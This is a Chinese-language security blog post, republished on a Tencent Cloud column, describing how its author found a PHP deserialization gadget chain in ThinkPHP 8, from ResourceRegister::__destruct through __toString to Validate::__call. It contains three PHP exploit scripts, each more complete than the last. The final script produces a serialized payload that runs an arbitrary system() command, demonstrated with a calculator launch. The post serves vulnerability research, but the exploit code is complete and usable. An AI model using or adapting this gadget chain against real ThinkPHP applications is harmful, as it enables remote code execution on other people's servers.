前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP8 反序列化调用链

ThinkPHP8 反序列化调用链

作者头像
Al1ex
发布2024-07-05 17:04:08
800
发布2024-07-05 17:04:08
举报
文章被收录于专栏:网络安全攻防

文章前言

去年暑假,ThinkPHP发布了8.0版本。当时也是尝试着挖掘一条反序列化调用链,相比ThinkPHP 6,不少类做了变动,外加上还做了declare (strict_types = 1);的限制,让利用变的有些许的难。 最近还是将这个任务重新捡了起来,最后也是成功找到了一条调用链并成功利用,这里就分享成功利用的部分。

环境说明

官方手册:https://doc.thinkphp.cn/v8_0/preface.html 此外ThinkPHP提高了PHP版本要求,PHP版本需要使用PHP8以上。根据官方文档下载好后添加一个反序列化入口就好

反序列化调用链

source点选择

反序列化起点无非是destruct或wakeup方法,wakeup一般用于作对象初始化,多选择destruct方法作为起点 全局一找,发现仅有两个可选

先看第一个,这是应该是给数据库关闭链接用的,定义在Connection抽象类中,该类实现ConnectionInterface接口,__destruct方法调用的是接口中的close方法,这里想利用需要寻找其子类

这两个类的close方法都是些赋值语句,不适合作为source点,所以只能将目光放在ResourceRegister#__destruct方法上

sink点选择

大多框架的反序列化sink点会选择call方法,一般可能的危险操作都在call方法上,当然也要找变量可控较多且可利用的(method大多不可控了),这里我选的think\Validate#__call,也是ThinkPHP6反序列化调用链中会选的sink,当然应该也可以选别个

调用链挖掘

选好了sink和source,这样就不会像无头苍蝇,在调用链选择上尽量往我们的sink点靠就好啦,这里先做简单理论,先从source点开始跟

registered可控,为false会调用register方法

resource可控,可以看到这里就能尝试去触发call方法,但是getRule方法是无参的,没有办法控制call方法中的$args参数

这里选择往下调用parseGroupRule方法,getRule方法返回值可控,该方法下个人感觉可利用的点不多,但可以利用字符串拼接触发__toString(由于做了类型限制,就不能选择一些字符串处理函数来触发)

rest、last、option都是可控的,这里可以通过字符串拼接的方式触发__toString 下面就是toString的选择,能用的也不多,这里我选的是think\model\concern\Conversion#toString方法 一路走过来会调用appendAttrToArray方法

这里我选择在getRelationWith方法中触发__call方法

重点在relation以及visible[

最后在匿名函数通过call_user_func_array实现代码执行

type也是可控的

构造exp

我喜欢边构造边调试分析,先从source开始 registered默认为false,可以不管,前面我说到了我们要利用parseGroupRule方法,我们需要构建一个think\route\Resource对象 先简单构造一下进行调试

首先rule不能为null,last来源于rule分割后的最后一个元素

同理name和rest也是,否则都是利用不了滴,还用确保不被continue,不处理

利用条件val[1]需要包含<id>,且

于是构造出

代码语言:javascript
复制
<?php
namespace think\route{
    class ResourceRegister{
        public $resource;

        public function __construct($resource) {
            $this->resource = $resource;
        }
    }

    class RuleGroup extends Rule{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }

    class Resource extends RuleGroup{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }

    }

    abstract class Rule{
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;

        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route{}
    abstract class Model{
        protected $append = ['Nivia' => "1.2"];
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{}
}

namespace {
    $option = new think\model\Pivot;
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router , $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(base64_encode(serialize($resourceRegister)));
}

往下到think\model\concern\Conversion#__toString方法,个人认为这里比较恶心

中间会调用appendAttrToArray方法,方法中还会调用getRelationWith方法,在这里有机会触发__call方法

关键在relation和visible[

首先是$visible变量

可以发现其第一层else语句中的赋值语句满足我们的要求,this->visible可控,仅要求

接下来看$relation,其变量来源于getRelation方法,受key影响

$this->relation可控,key也可控但不为null,可以在第二个return中返回我们想要的值

那就根据上述要求构造下一步exp,其中有一个点是刚才提到的$val不能是字符串,我首先想到的是用数组代替,根据一些相关要求有如下exp

代码语言:javascript
复制
<?php
namespace think\route{
    class ResourceRegister{
        public $resource;

        public function __construct($resource) {
            $this->resource = $resource;
        }
    }

    class RuleGroup extends Rule{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }

    class Resource extends RuleGroup{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }

    }

    abstract class Rule{
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;

        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route{}
    abstract class Model{
        private $relation;
        protected $append = ['Nivia' => "1.2"];

        protected $visible;

        public function __construct($visible, $call){
            $this->visible = [1 => $visible];
            $this->relation = ['1' => $call];
        }
    }

    class Validate{}
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{

    }
}

namespace {
    $call = new think\Validate;
    $option = new think\model\Pivot(['ls'], $call);
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router , $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(base64_encode(serialize($resourceRegister)));
}

最后也是成功调用到think\Validate#__call方法,方法会调用is方法

this->type可控,value其实就是前面的val

这里会有一个问题就是这里的value其实就是传给this->type[rule]的参数了,但value前面分析过了它不能是字符串,本来想通过ReflectionFunction#invokeArgs来实现命令执行,且刚好invokeArgs接收一个数组类型的参数,但ReflectionFunction不允许被序列化和反序列化

最后想到可以通过类的toString进行替换,在toString中返回我们想要的命令

最终exp

代码语言:javascript
复制
<?php
namespace think\route{
    class ResourceRegister{
        public $resource;

        public function __construct($resource) {
            $this->resource = $resource;
        }
    }

    class RuleGroup extends Rule{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }

    class Resource extends RuleGroup{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }

    }

    abstract class Rule{
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;

        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route{}
    abstract class Model{
        private $relation;
        protected $append = ['Nivia' => "1.2"];

        protected $visible;
        public function __construct($visible, $call){
            $this->visible = [1 => $visible];
            $this->relation = ['1' => $call];
        }
    }

    class Validate{
        protected $type;

        public function __construct(){
            $this->type = ['visible' => "system"];//function
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        public function __construct($visible, $call){
            parent::__construct($visible, $call);
        }
    }
}

namespace Symfony\Component\VarDumper\Caster{
    use Symfony\Component\VarDumper\Cloner\Stub;
    class ConstStub extends Stub{}
}

namespace Symfony\Component\VarDumper\Cloner{
    class Stub{
        public $value = "open -a Calculator"; //cmd
    }
}

namespace {
    $call = new think\Validate;
    $option = new think\model\Pivot(new Symfony\Component\VarDumper\Caster\ConstStub, $call);
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router , $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(base64_encode(serialize($resourceRegister)));
}

结语

乍一看发现调用链似乎没这么难,但过程还是比较艰辛,中间也遇到很多坑,似乎感觉不可能,也尝试了很多种想法。也是体验了一把挖掘的感觉

原文作者:Nivia

原文链接:https://xz.aliyun.com/t/14904

推 荐 阅 读

横向移动之RDP&Desktop Session Hija

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档